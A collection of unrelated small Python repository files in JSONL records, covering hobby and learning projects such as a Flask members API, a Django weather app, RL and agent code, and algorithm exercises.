+{"seq_id":"20784615049","text":"from environment import *\n\ndef main():\n\n env = Environment(\"data/reduced_height_map.jpg\", 31, 50, True)\n no_action = 0\n counter = 0\n\n action = 0\n debug_mode_on = False\n\n # Simulate environment for development purposes\n while (True):\n #action = input()\n #action = random.randrange(0, 8)\n\n env.tick(int(action))\n env.render_map()\n env.render_sub_map()\n\n no_action += 1\n counter += 1\n if (counter >= 1000):\n counter = 0\n print(\"Action: \", no_action)\n\n # User Assist code\n if (debug_mode_on == True):\n k = cv2.waitKey(10000)\n if k == 97: # a\n action = 0\n if k == 100: # d\n action = 1\n if k == 119: # w\n action = 2\n if k == 115: # s\n action = 3\n elif(debug_mode_on == False):\n action = random.randrange(0, 8)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"michaellengyel/RL_wolf_sheep_env","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34322231036","text":"from flask import Flask, g, request, jsonify\nfrom database import get_db\nfrom functools import wraps\n\napp = Flask(__name__)\n\n# api authentication credentials\napi_username = \"admin\"\napi_password = \"password\"\n\n# authentication verification decorator\ndef protected(f):\n @wraps(f)\n def decorated(*args, **kwargs):\n auth = request.authorization\n if auth and auth.username == api_username and auth.password == api_password:\n return f(*args, **kwargs)\n return jsonify({\"message\": \"Authentication failed\"}), 403\n\n return decorated\n\n\n# close the connection once the route is visited\n@app.teardown_appcontext\ndef close_db(error):\n if hasattr(g, \"sqlite_db\"):\n g.sqlite_db.close()\n\n\n# based on the RESTFUL API -> Building multiple requests to the same endpoints\n\n# GET method for getting all memebers\n@app.route(\"/member\", methods=[\"GET\"])\n@protected\ndef get_members():\n\n db = get_db()\n members_cur = db.execute(\"select id, name, email, level from members\")\n members_db = members_cur.fetchall()\n\n members = []\n for member_db in members_db:\n member = {\n \"id\": member_db[\"id\"],\n \"name\": member_db[\"name\"],\n \"email\": member_db[\"email\"],\n \"level\": member_db[\"level\"],\n }\n\n members.append(member)\n\n return jsonify({\"members\": members})\n\n\n# GET method for getting one member by ID\n@app.route(\"/member/<int:member_id>\", methods=[\"GET\"])\n@protected\ndef get_member(member_id):\n\n db = get_db()\n member_cur = db.execute(\n \"select id, name, email, level from members where id=?\", [member_id]\n )\n member_db = member_cur.fetchone()\n\n return jsonify(\n {\n \"member\": {\n \"id\": member_db[\"id\"],\n \"name\": member_db[\"name\"],\n \"email\": member_db[\"email\"],\n \"level\": member_db[\"level\"],\n }\n }\n )\n\n\n# POST method for adding one member\n@app.route(\"/member\", methods=[\"POST\"])\n@protected\ndef add_member():\n # getting member data from json sent in post request\n new_member = request.get_json()\n\n member_name = new_member[\"name\"]\n member_email = new_member[\"email\"]\n member_level = new_member[\"level\"]\n\n db = get_db()\n db.execute(\n \"insert into members (name, email, level) values ( ?, ?, ?)\",\n [member_name, member_email, member_level],\n )\n db.commit()\n\n member_cur = db.execute(\n \"select id, name, email, level from members where name=?\", [member_name]\n )\n member_db = member_cur.fetchone()\n\n return jsonify(\n {\n \"member\": {\n \"id\": member_db[\"id\"],\n \"name\": member_db[\"name\"],\n \"email\": member_db[\"email\"],\n \"level\": member_db[\"level\"],\n }\n }\n )\n\n\n# PUT and PATCH method for editing one member by ID\n@app.route(\"/member/<int:member_id>\", methods=[\"PUT\", \"PATCH\"])\n@protected\ndef edit_member(member_id):\n\n # getting member data from json sent in post request\n new_member = request.get_json()\n\n member_name = new_member[\"name\"]\n member_email = new_member[\"email\"]\n member_level = new_member[\"level\"]\n\n # updating the member\n db = get_db()\n db.execute(\n \"update members set name=?, email=?, level=? where id=?\",\n [member_name, member_email, member_level, member_id],\n )\n db.commit()\n\n # returning the updated member from database\n member_cur = db.execute(\n \"select id, name, email, level from members where id=?\", [member_id]\n )\n member_db = member_cur.fetchone()\n\n return jsonify(\n {\n \"member\": {\n \"id\": member_db[\"id\"],\n \"name\": member_db[\"name\"],\n \"email\": member_db[\"email\"],\n \"level\": member_db[\"level\"],\n }\n }\n )\n\n\n# DELETE method for deleting one member by ID\n@app.route(\"/member/<int:member_id>\", methods=[\"DELETE\"])\n@protected\ndef delete_member(member_id):\n\n # deleting the member\n db = get_db()\n db.execute(\n \"delete from members where id=?\",\n [member_id],\n )\n db.commit()\n\n return jsonify({\"message\": \"a member has been deleted\"})\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"b-abdou-dev/members_api","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14736919387","text":"# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport re\nimport sqlite3 as db\nfrom cgi import parse_qs\nsys.path.append('templates/index')\nsys.path.append('templates/comment')\nsys.path.append('templates/view')\nsys.path.append('templates/stat')\nsys.path.append('templates/404')\nimport index \nimport comment\nimport view\nimport pagestat\nimport page404\n\n# connect db\ncon = db.connect('testdb.db')\ncon.text_factory = str\ncur = con.cursor()\n\n#common controller\ndef application(env, start_response):\n #header page\n head = [('Content-Type','text/html')]\n \n try:\n content_length = int(env.get('CONTENT_LENGTH', 0))\n except (ValueError):\n content_length = 0\n \n #read post data content_length\n req = env['wsgi.input'].read(content_length)\n \n #parse post data and get array post\n post = parse_qs(req)\n \n # action homepage\n if env['PATH_INFO'] == '/': \n html = index.page_index(env, start_response, head, cur)\n \n # action comment page (form addcomment)\n elif env['PATH_INFO'] == '/comment/': \n if post.get('ajax',[''])[0] == 'Y':\n if post.get('action',[''])[0] == 'rchange': \n html = comment.ajax_city(env, start_response, head, cur, post)\n if post.get('action',[''])[0] == 'addcomment':\n html = comment.ajax_comment(env, start_response, head, con, cur, post)\n else: \n html = comment.page_comment(env, start_response, head, cur)\n \n #page view comments\n elif env['PATH_INFO'] == '/view/': \n if post.get('ajax',[''])[0] == 'Y':\n if post.get('action',[''])[0] == 'delcomment': \n html = view.ajax_delete_comment(env, start_response, head, con, cur, post)\n else:\n html = view.page_view(env, start_response, head, cur)\n \n #page, number of reviews by region\n elif env['PATH_INFO'] == '/stat/':\n html = pagestat.page_stat(env, start_response, head, cur)\n \n #page, the number of comments on the cities of the region\n elif re.search(r'/stat/region/\\d/$', env['PATH_INFO']): \n idregion = re.findall(r'\\d',env['PATH_INFO'])\n html = pagestat.page_stat(env, start_response, head, cur, int(idregion[0]))\n \n #page 404\n else:\n html = page404.page404(env, start_response, head)\n\n #release html template\n return html","repo_name":"petrovkdev/project_commets_python2.7","sub_path":"appcomments/comments/wsgi.py","file_name":"wsgi.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42315810827","text":"from intranet_interagi import logger\nfrom intranet_interagi.content.area import Area\nfrom plone import api\nfrom zope.lifecycleevent import ObjectAddedEvent\n\n\ndef _create_group(obj: Area):\n \"\"\"Create user groups for the new Area.\"\"\"\n uid = api.content.get_uuid(obj)\n title = obj.title\n payload = {\n \"groupname\": f\"{uid}_editors\",\n \"title\": f\"Editores para {title}\",\n \"description\": f\"Students for the {title} session\",\n }\n editors = api.group.create(**payload)\n api.group.grant_roles(group=editors, roles=[\"Editor\"], obj=obj)\n logger.info(\n f\"Granted role of Editor to {uid}_editors group on {obj.absolute_url()}\"\n )\n\n\ndef added(obj: Area, event: ObjectAddedEvent):\n \"\"\"Post creation handler for Group.\"\"\"\n _create_group(obj)\n\n\ndef updated(obj: Area, event: ObjectAddedEvent):\n \"\"\"Post updated handler for Group.\"\"\"\n _create_group(obj)\n","repo_name":"davidribeiro05/intranet-interagi","sub_path":"backend/src/intranet_interagi/src/intranet_interagi/subscribers/grupo.py","file_name":"grupo.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16123095223","text":"from django.shortcuts import render\nfrom .models import ForecastModel\n\n# Create your views here.\ndef index(request):\n import json\n import requests\n\n if request.method == \"POST\":\n params = {\n 'access_key': '',\n 'query': request.POST['city']\n }\n\n api_result = requests.get('http://api.weatherstack.com/current', params)\n\n try:\n api = json.loads(api_result.content)\n except Exception as e:\n api = \"Error\"\n return render(request, 'weather/index.html', {'api': api})\n\n else:\n return render(request, 'weather/index.html', {'city': 'Please enter the correct city'})\n\n# for forecast\ndef forecast(request):\n import requests\n import json\n # dates for the week\n from datetime import datetime, timedelta\n d0 = datetime.now()\n d1 = d0 + timedelta(days=1)\n d2 = d1 + timedelta(days=1)\n d3 = d2 + timedelta(days=1)\n d4 = d3 + timedelta(days=1)\n d5 = d4 + timedelta(days=1)\n d6 = d5 + timedelta(days=1)\n d7 = d6 + timedelta(days=1)\n\n d0, d1, d2, d3, d4, d5, d6, d7 = d0.strftime('%d/%m/%Y'), d1.strftime('%d/%m/%Y'), d2.strftime('%d/%m/%Y'), d3.strftime('%d/%m/%Y'), d4.strftime('%d/%m/%Y'), d5.strftime('%d/%m/%Y'), d6.strftime('%d/%m/%Y'), d7.strftime('%d/%m/%Y')\n\n # api looping\n key = \"\"\n # list of cities with latitude and longitude\n city = ForecastModel.objects.values()\n # loop through the cities and get temp and weather desc\n temp_output = []\n weather_output = []\n city_output = []\n for c in range(len(city)):\n lat = city[c][\"lat\"]\n lon = city[c][\"lon\"]\n name = city[c][\"city\"]\n api_result = requests.get(f\"https://api.openweathermap.org/data/2.5/onecall?lat={lat}&lon={lon}&exclude=hourly,current,minutely&units=metric&appid={key}\")\n if api_result:\n try:\n api = json.loads(api_result.content)\n temp = []\n weather = []\n for v in range(len(api['daily'])):\n temp.append(api['daily'][v]['temp']['day'])\n weather.append(api['daily'][v]['weather'][0]['main'])\n except Exception as e:\n api = \"Error\"\n temp_output.append(temp)\n weather_output.append(weather)\n city_output.append(name)\n return render(request, 'weather/forecast.html', {'api': api,\n 'temp': temp,\n 'weather': weather,\n 'd0': d0,\n 'd1': d1,\n 'd2': d2,\n 'd3': d3,\n 'd4': d4,\n 'd5': d5,\n 'd6': d6,\n 'd7': d7,\n 'city': city_output,\n 'lat': lat,\n 'temp_output': temp_output,\n 'weather_output': weather_output})\n\n\n","repo_name":"fahadtaimur/weather_app_django","sub_path":"WeatherApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3634347963","text":"#!/usr/bin/env python2\n\nfrom agent_components.shared_components import SharedComponents\nfrom behaviour_components.activators import GreedyActivator\nfrom behaviour_components.condition_elements import Effect\nfrom behaviour_components.conditions import Negation, Disjunction, Condition\nfrom behaviour_components.goals import GoalBase\nfrom common_utils import etti_logging\nfrom decisions.exploration_target import ExplorationDecision, ExploreCornersDecision\nfrom network_behaviours.assemble import AssembleNetworkBehaviour\nfrom network_behaviours.build_well import BuildWellNetworkBehaviour\nfrom network_behaviours.deliver_job import DeliverJobNetworkBehaviour\nfrom network_behaviours.dismantle import DismantleNetworkBehaviour\nfrom network_behaviours.exploration import ExplorationNetworkBehaviour\nfrom network_behaviours.gather import GatheringNetworkBehaviour\nfrom provider.self_organisation_provider import SelfOrganisationProvider\n\nettilog = etti_logging.LogManager(logger_name=etti_logging.LOGGER_DEFAULT_NAME + '.manager.action')\n\n\nclass MainRhbpComponent(object):\n \"\"\"\n MainRhbpComponent keeps track of the first level of Rhbp components, which includes instances of all\n Network Behaviours\n \"\"\"\n\n def __init__(self, agent_name, shared_components, manager):\n \"\"\"\n :param agent_name:\n :param shared_components:\n :type shared_components: SharedComponents\n \"\"\"\n self._agent_name = agent_name\n self._shared_components = shared_components\n self._manager = manager\n\n self._self_organisation_provider = SelfOrganisationProvider(agent_name=agent_name)\n\n self._init_behaviour_network()\n self._init_goals()\n\n def _init_behaviour_network(self):\n \"\"\"\n Initialise all behaviour networks\n :return:\n \"\"\"\n ####################### Exploration Network Behaviour ########################\n # Responsible for finding resource nodes in the beginning of a simulation\n\n # ExplorationDecision picks the next destination for exploration\n exploration_decision = ExplorationDecision(\n self._self_organisation_provider.so_buffer,\n agent_name=self._agent_name)\n\n self._exploration_network = ExplorationNetworkBehaviour(\n name=self._agent_name + '/explore',\n plannerPrefix=self._agent_name,\n exploration_decision=exploration_decision,\n priority=1,\n agent_name=self._agent_name,\n shared_components=self._shared_components,\n max_parallel_behaviours=1)\n\n # Only explore if no task is assigned\n # It can happen, that during initial exploration, a well position is found and a task is created.\n # In this case, we stop exploring\n self._exploration_network.add_precondition(self._shared_components.has_no_task_assigned_cond)\n\n # Only explore until all resources are discovered\n self._exploration_network.add_precondition(\n Negation(self._shared_components.exploration_phase_finished_condition))\n\n self._exploration_network.add_precondition(\n Negation(self._shared_components.opponent_well_exists_cond)\n )\n # Exploration increases the percentage of resource nodes, that have been discovered\n self._exploration_network.add_effect(\n Effect(\n sensor_name=self._shared_components.resource_discovery_progress_sensor.name,\n indicator=1.0,\n sensor_type=float\n )\n )\n\n ######################## Gathering Network Behaviour ########################\n # Gather ingredients\n self._gathering_network = GatheringNetworkBehaviour(\n name=self._agent_name + '/gathering',\n plannerPrefix=self._agent_name,\n agent_name=self._agent_name,\n priority=2,\n shared_components=self._shared_components,\n max_parallel_behaviours=1)\n\n # Gather when we know all of the resource nodes already\n self._gathering_network.add_precondition(self._shared_components.exploration_phase_finished_condition)\n\n # Gather only when storage can fit more items\n self._gathering_network.add_precondition(self._shared_components.can_fit_more_ingredients_cond)\n\n # Only gather when agent has no tasks assigned\n self._gathering_network.add_precondition(self._shared_components.has_no_task_assigned_cond)\n\n self._gathering_network.add_precondition(Disjunction(\n Negation(self._shared_components.opponent_well_exists_cond),\n self._shared_components.at_resource_node_cond\n ))\n\n # Gathering increases the load of items in stock\n self._gathering_network.add_effect(\n Effect(\n sensor_name=self._shared_components.load_factor_sensor.name,\n indicator=1.0,\n sensor_type=float\n ))\n self._gathering_network.add_precondition(\n Negation(self._shared_components.is_forever_exploring_agent_cond))\n\n\n ####################### Assembly Network Behaviour ########################\n self._assembly_network = AssembleNetworkBehaviour(\n name=self._agent_name + '/assemble',\n plannerPrefix=self._agent_name,\n shared_components=self._shared_components,\n priority=4,\n agent_name=self._agent_name,\n max_parallel_behaviours=1)\n\n # Only assemble when we have a task assigned\n self._assembly_network.add_precondition(self._shared_components.has_assemble_task_assigned_cond)\n\n # Only assemble if we don't have a priority task assigned (delivery or build well)\n self._assembly_network.add_precondition(\n Negation(self._shared_components.has_priority_job_task_assigned_cond)\n )\n\n # Assembly has the effect of finishing the assembly task.\n self._assembly_network.add_effect(\n Effect(\n sensor_name=self._shared_components.has_assemble_task_sensor.name,\n indicator=-1.0,\n sensor_type=bool\n )\n )\n\n ######################## Job Network Behaviour ########################\n self._deliver_job_network = DeliverJobNetworkBehaviour(\n name=self._agent_name + '/job',\n plannerPrefix=self._agent_name,\n shared_components=self._shared_components,\n priority=5,\n agent_name=self._agent_name,\n max_parallel_behaviours=1)\n\n # Only perform delivery, when there is a task assigned\n self._deliver_job_network.add_precondition(self._shared_components.has_deliver_job_task_assigned_cond)\n\n # Job delivery has the effect of finishing the delivery task\n self._deliver_job_network.add_effect(\n Effect(\n sensor_name=self._shared_components.has_deliver_task_sensor.name,\n indicator=-1.0,\n sensor_type=bool\n )\n )\n\n ####################### Build Well Behaviour ########################\n self._build_well_network = BuildWellNetworkBehaviour(\n name=self._agent_name + '/well',\n plannerPrefix=self._agent_name,\n agent_name=self._agent_name,\n priority=3,\n shared_components=self._shared_components,\n max_parallel_behaviours=1)\n\n self._build_well_network.add_precondition(Negation(self._shared_components.is_forever_exploring_agent_cond))\n\n # Building wells has the effect of finishing a well task\n self._build_well_network.add_effect(\n Effect(\n sensor_name=self._shared_components.has_well_task_sensor.name,\n indicator=-1.0,\n sensor_type=bool\n )\n )\n\n ####################### Dismantle Network Behaviour ########################\n self.dismantle_network = DismantleNetworkBehaviour(\n name=self._agent_name + '/dismantle',\n plannerPrefix=self._agent_name,\n priority=10,\n agent_name=self._agent_name,\n shared_components=self._shared_components,\n max_parallel_behaviours=1)\n\n # Only start dismantling if there are opponent wells\n self.dismantle_network.add_precondition(self._shared_components.opponent_well_exists_cond)\n self.dismantle_network.add_precondition(Negation(self._shared_components.is_forever_exploring_agent_cond))\n\n self.dismantle_network.add_precondition(Negation(self._shared_components.at_resource_node_cond))\n\n # Dismantling has the effect of reducing the opponent wells.\n self.dismantle_network.add_effect(\n effect=Effect(\n sensor_name=self._shared_components.opponent_wells_sensor.name,\n sensor_type=bool,\n indicator=-1.0\n )\n )\n\n\n ####################### Find Well Location Network Behaviour ########################\n if self._agent_name in [\"TUBDAI1\", \"TUBDAI2\", \"TUBDAI3\", \"TUBDAI4\"]:\n find_well_exploration_decision = ExploreCornersDecision(\n self._self_organisation_provider.so_buffer, agent_name=self._agent_name)\n else:\n find_well_exploration_decision = self._exploration_network.exploration_decision\n\n self._find_well_location_network = ExplorationNetworkBehaviour(\n name=self._agent_name + '/welllocation',\n plannerPrefix=self._agent_name,\n exploration_decision=find_well_exploration_decision,\n priority=1,\n agent_name=self._agent_name,\n shared_components=self._shared_components,\n max_parallel_behaviours=1)\n\n if self._agent_name not in [\"agentA1\", \"agentB1\", \"TUBDAI1\"]:\n # Try to find opponent wells only when no tasks are assigned\n self._find_well_location_network.add_precondition(\n self._shared_components.has_no_task_assigned_cond)\n # Only do it when stock is full. (nothing else can be done)\n self._find_well_location_network.add_precondition(\n Negation(self._shared_components.can_fit_more_ingredients_cond)\n )\n # Only do it after exploration phase is over\n self._find_well_location_network.add_precondition(\n self._shared_components.exploration_phase_finished_condition)\n\n # The main effect is to increase the number of known opponent wells. It is hard to create proper goals for this.\n # Therefore use a fake effect: resource discovery, which is a side effect of this behaviour too.\n self._find_well_location_network.add_effect(\n Effect(\n sensor_name=self._shared_components.resource_discovery_progress_sensor.name,\n indicator=2.0,\n sensor_type=float\n )\n )\n\n def _init_goals(self):\n \"\"\"\n Initialises goals on action manager level\n :return:\n \"\"\"\n\n # Tasks need to be fulfilled\n self.task_fulfillment_goal = GoalBase(\n name='task_fulfillment_goal',\n permanent=True,\n priority=3,\n planner_prefix=self._agent_name,\n conditions=[self._shared_components.has_no_task_assigned_cond])\n\n # Otherwise we want to gather items\n self._gather_goal = GoalBase(\n name='fill_load_goal',\n permanent=True,\n priority=2,\n planner_prefix=self._agent_name,\n conditions=[self._shared_components.load_factor_condition])\n\n # If there are opponent wells, we want to destroy them\n self._dismantle_goal = GoalBase(\n name='dismantle_goal',\n permanent=True,\n priority=4,\n planner_prefix=self._agent_name,\n conditions=[Negation(self._shared_components.opponent_well_exists_cond)])\n\n # If there are opponent wells, we want to destroy them\n self._exploration_goal = GoalBase(\n name='exploration_goal',\n permanent=True,\n priority=1,\n planner_prefix=self._agent_name,\n conditions=[Condition(\n sensor=self._shared_components.resource_discovery_progress_sensor,\n activator=GreedyActivator()\n )])\n\n def step(self, guarantee_decision=True):\n \"\"\"\n For each step in the simulation, a manager step is initiated.\n :param guarantee_decision:\n :return:\n \"\"\"\n self._manager.step(guarantee_decision=guarantee_decision)\n","repo_name":"etticat/mapc-2018","sub_path":"src/mapc_rhbp_ettlinger/src/agent_components/main_rhbp_components.py","file_name":"main_rhbp_components.py","file_ext":"py","file_size_in_byte":12665,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"1531497034","text":"# def coinChange(coins, amount):\n# coins.sort(reverse=True)\n# res = 0\n# i = 0\n\n# while amount > 0 and i < len(coins):\n# if coins[i] <= amount:\n# num = amount // coins[i]\n# res += num\n# amount -= num * coins[i]\n# i += 1\n\n# if amount == 0:\n# return res\n# else:\n# return -1\n\n# print(coinChange([2], 3))\n# Output: -1\n\n# print(coinChange([186, 419, 83, 408], 6249))\n# Output: 20\n\ndef coinChange(coins, amount):\n # Create dp array with all elements initialised to infinity\n dp = [float('inf')] * (amount + 1)\n \n # For 0 amount, 0 coins are required\n dp[0] = 0\n \n # Iterate over all amounts from 1 to amount\n for i in range(1, amount + 1):\n # Try using each coin from coin\n for coin in coins:\n # Check if that coin lends to a smaller coins requirement as compared to the previously calculated one.\n if i - coin >=0:\n print(\"WORK\",dp[i],dp[i-coin])\n dp[i] = min(dp[i], dp[i - coin] + 1)\n # If it is not possible to make the amount, return -1 else return dp[amount]\n \n return dp[amount] if dp[amount] != float('inf') else -1\nprint(coinChange([1, 2, 5], 11)) # Output: 3\n# print(coinChange([2], 3)) # Output: -1\n# print(coinChange([186, 419, 83, 408], 6249)) # Output: 20\n","repo_name":"AZAD-CYBER/Data_structure","sub_path":"Problem/greedy.py","file_name":"greedy.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36592566902","text":"# Miles to Kilometers | Kilometers to Miles - Truzz Blogg\r\n# Source code used in this video: https://youtu.be/T2MMqi878w4\r\n\r\ndef menu_selection():\r\n print(4 * \"~\", \"CONVERT KM TO MILES | MILES TO KM\", 4 * \"~\")\r\n print (\"Choose a type of Conversion\")\r\n print (\"[ 1 ] Km to Miles\")\r\n print (\"[ 2 ] Miles to Km\")\r\n\r\nmain_loop = True\r\n\r\nwhile not main_loop == False:\r\n menu_selection()\r\n user_selection = str(input(\"So...What would you like to do? Enter your choice [1 or 2]: \"))\r\n\r\n if(user_selection == \"1\"):\r\n user_in_km = int(input(\"Please, enter the number of KILOMETERS would you like to convert: \"))\r\n to_miles = round(user_in_km / 1.6093, 3)\r\n \r\n print(30 * \"~%\")\r\n print(\"{} Km converts to {} Miles.\".format(user_in_km,to_miles))\r\n print(30 * \"%~\")\r\n keep_converting = input(\"Would you like to continue converting? [ yes | no ]\")\r\n if(keep_converting == \"yes\"):\r\n continue\r\n elif(keep_converting == \"no\"):\r\n main_loop = False\r\n \r\n else:\r\n print(\"Wrong choice! Bye Bye!\")\r\n break \r\n \r\n \r\n elif(user_selection == \"2\"):\r\n user_in_miles = int(input(\"Please, enter the number of MILES would you like to convert: \"))\r\n to_kilometers = round(user_in_miles * 1.6093, 3)\r\n \r\n print(30 * \"~%\")\r\n print(\"{} Miles converts to {} Kilometers.\".format(user_in_miles,to_kilometers))\r\n print(30 * \"%~\")\r\n keep_converting = input(\"Would you like to continue converting? [ yes | no ]\")\r\n if(keep_converting == \"yes\"):\r\n continue\r\n elif(keep_converting == \"no\"):\r\n main_loop = False\r\n \r\n else:\r\n print(\"Wrong choice! Bye Bye!\")\r\n break \r\n \r\n\r\n \r\n \r\n \r\n","repo_name":"tbcodes/python_converter_miles_to_kilometers_and_vice_versa","sub_path":"miles_to_km.py","file_name":"miles_to_km.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17192773871","text":"# rho = 1 - 6*d*d/(n*(n*n-1))\nimport math\nfrom operator import itemgetter\n\n''' Assumes that the items in the list can't have the same value and hence the same rank '''\ndef assign_ranks(itemDict):\n rankedDict = {}\n rank = 0\n for key, val in sorted(itemDict.items(), key=itemgetter(1), reverse=True):\n rankedDict[key] = rank\n rank += 1\n return rankedDict\n\n''' Assumes that the elements in the list can never have the same value '''\ndef spearmans_rho(rankedDict1, rankedDict2):\n assert len(rankedDict1) == len(rankedDict2)\n x_avg = sum([val for val in rankedDict1.values()])/len(rankedDict1)\n y_avg = sum([val for val in rankedDict2.values()])/len(rankedDict2)\n \n num = 0.\n d_x = 0\n d_y = 0\n for key in rankedDict1.keys():\n xi = rankedDict1[key]\n yi = rankedDict2[key]\n num += (xi-yi)**2 \n n = 1.*len(rankedDict1)\n return 1-6*num/(n*(n*n-1))#1.*num/(math.sqrt(d_x*d_y))","repo_name":"dodgejesse/WordVectorsWithSemantics","sub_path":"src/ranking.py","file_name":"ranking.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12675115241","text":"# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n arr: list = []\n def inorder(self, node):\n self.inorder(node.left)\n arr.insert(node.val)\n self.inorder(node.right)\n\n def inorderTraversal(self, tree_node):\n self.inorder(tree_node)\n\n\nitem = TreeNode(1, None, TreeNode(2, TreeNode(3, None, None), None))\nsol = Solution()\nsol.inorderTraversal(item)\n# root -> left -> root -> right\n","repo_name":"HONOOUR/Algorithm_Test","sub_path":"Algorithm_Python/BTreeInOrder.py","file_name":"BTreeInOrder.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5997650229","text":"import numpy as np\nimport os\nimport matplotlib.pyplot as plt\n\n# Action noise class for exploration\nclass OUActionNoise():\n def __init__(self, mu, sigma=0.15, theta=0.2, dt=1e-2, x0=None):\n self.mu = mu\n self.sigma = sigma\n self.theta = theta\n self.dt = dt\n self.x0 = x0\n\n self.reset()\n\n def __call__(self):\n # noise = OUActionNoise()\n # current_noise = noise()\n\n x = self.x_prev + self.theta * (self.mu - self.x_prev) * self.dt + \\\n self.sigma * np.sqrt(self.dt) * np.random.normal(size=self.mu.shape)\n self.x_prev = x\n return x\n\n def reset(self):\n self.x_prev = self.x0 if self.x0 is not None else np.zeros_like(self.mu)\n\n\n# Replay Buffer\nclass ReplayBuffer():\n def __init__(self, mem_size, input_dims, actions_dims):\n self.mem_size = mem_size\n self.mem_cntr = 0\n self.state_memory = np.zeros((mem_size,*input_dims))\n self.new_state_memory = np.zeros((mem_size,*input_dims))\n self.reward_memory = np.zeros(mem_size)\n self.action_memory = np.zeros((mem_size,actions_dims))\n self.terminal_memory = np.zeros(mem_size, dtype=np.bool)\n\n\n def store_transition(self, state, action, reward, state_, done):\n indx = self.mem_cntr % self.mem_size\n self.state_memory[indx] = state\n self.new_state_memory[indx] = state_\n self.reward_memory[indx] = reward\n self.action_memory[indx] = action\n self.terminal_memory[indx] = done\n\n self.mem_cntr +=1\n\n def sample_buffer(self, batch_size):\n max_indx = min(self.mem_cntr, self.mem_size)\n batch = np.random.choice(max_indx, batch_size)\n\n states = self.state_memory[batch]\n states_ = self.new_state_memory[batch]\n rewards = self.reward_memory[batch]\n actions = self.action_memory[batch]\n dones = self.terminal_memory[batch]\n\n return states, actions, rewards, states_, dones\n\n# Path for checkpoints\ndef get_path(chkpt_dir, name):\n if not os.path.isdir(chkpt_dir):\n os.makedirs(chkpt_dir)\n checkpoint_file = os.path.join(chkpt_dir, name)\n return checkpoint_file\n\n\ndef plot_curve(scores, x):\n running_avg = np.zeros(len(scores))\n for i in range(len(running_avg)):\n running_avg[i] = np.mean(scores[max(0, i-100):i+1])\n plt.plot(x, running_avg)\n plt.show()\n","repo_name":"suryadheeshjith/Reinforcement_Learning","sub_path":"Policy_Gradients/DDPG/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30356157060","text":"# routes.py\nfrom sentiment import *\nfrom keyphrases import *\nfrom language import *\n\nfrom flask import Flask, render_template, request\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef home():\n\treturn render_template(\n\t\t'index.html',\n\t\ttitle = 'Accio',\n\t)\n\n@app.route(\"/language\")\ndef language():\n\treturn render_template(\n\t\t'language.html',\n\t\ttitle = 'Language Detection',\n\t)\n\n@app.route(\"/keyphrases\")\ndef keyphrases():\n return render_template(\n 'keyphrases.html',\n title = 'Key Phrase Detection',\n )\n\n@app.route(\"/sentiment\")\ndef sentiment():\n\treturn render_template(\n\t\t'sentiment.html',\n\t\ttitle = 'Sentiment Detection',\n\t)\n\n@app.route(\"/show_sentiment\", methods=['POST'])\ndef show_sentiment():\n\ttext = request.form['text_input']\n\toutput = get_sentiment(text);\n\treturn render_template(\n\t\t'show_sentiment.html',\n\t\ttitle = 'Sentiment Detection Results',\n\t\tscore = output,\n\t\ttext = text,\n\t)\n\n@app.route('/keyAnswers', methods=['POST'])\ndef getKeyPhrases():\n text = request.form['text']\n output = get_keyPhrases(text)\n return render_template(\n 'showKeyPhrases.html',\n title = 'Key Phrase Results',\n answers = output,\n text = text,\n )\n\n@app.route('/languageAnswers', methods=['POST'])\ndef getLanguage():\n text = request.form['text']\n output = get_language(text)\n return render_template(\n 'showLanguage.html',\n title = 'Language Detection Results',\n answers = output,\n text = text,\n )\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run()\n","repo_name":"123cristen/AccioLanguage","sub_path":"routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74436126641","text":"\"\"\"TODO\n\nwe have support for scanning a folder for modules now and analyzing\nthem in a single model: how to add support for any modules and packages?\n\nwhy can some modules not be read by pclbr?\n\nhow to get the fields of a class and global variables of a module?\n\nmodule namespaces (optional)?\n\nadd commandline interface (target, output, style, verbosity)\n\nmake it a pypi package\n\n\"\"\"\n\nimport os\nimport sys\nimport pydoc\nimport pyclbr\nimport inspect\nimport pkgutil\n\nfrom collections import defaultdict\n\nimport templates\n# from py2plantuml import templates\n\n\ndef getClasses(moduleName):\n classes = pyclbr.readmodule(moduleName)\n return classes\n\n\ndef getFunctions(module):\n members = inspect.getmembers(module)\n functions = [m for m in members if inspect.isfunction(m)]\n return functions\n\n\ndef 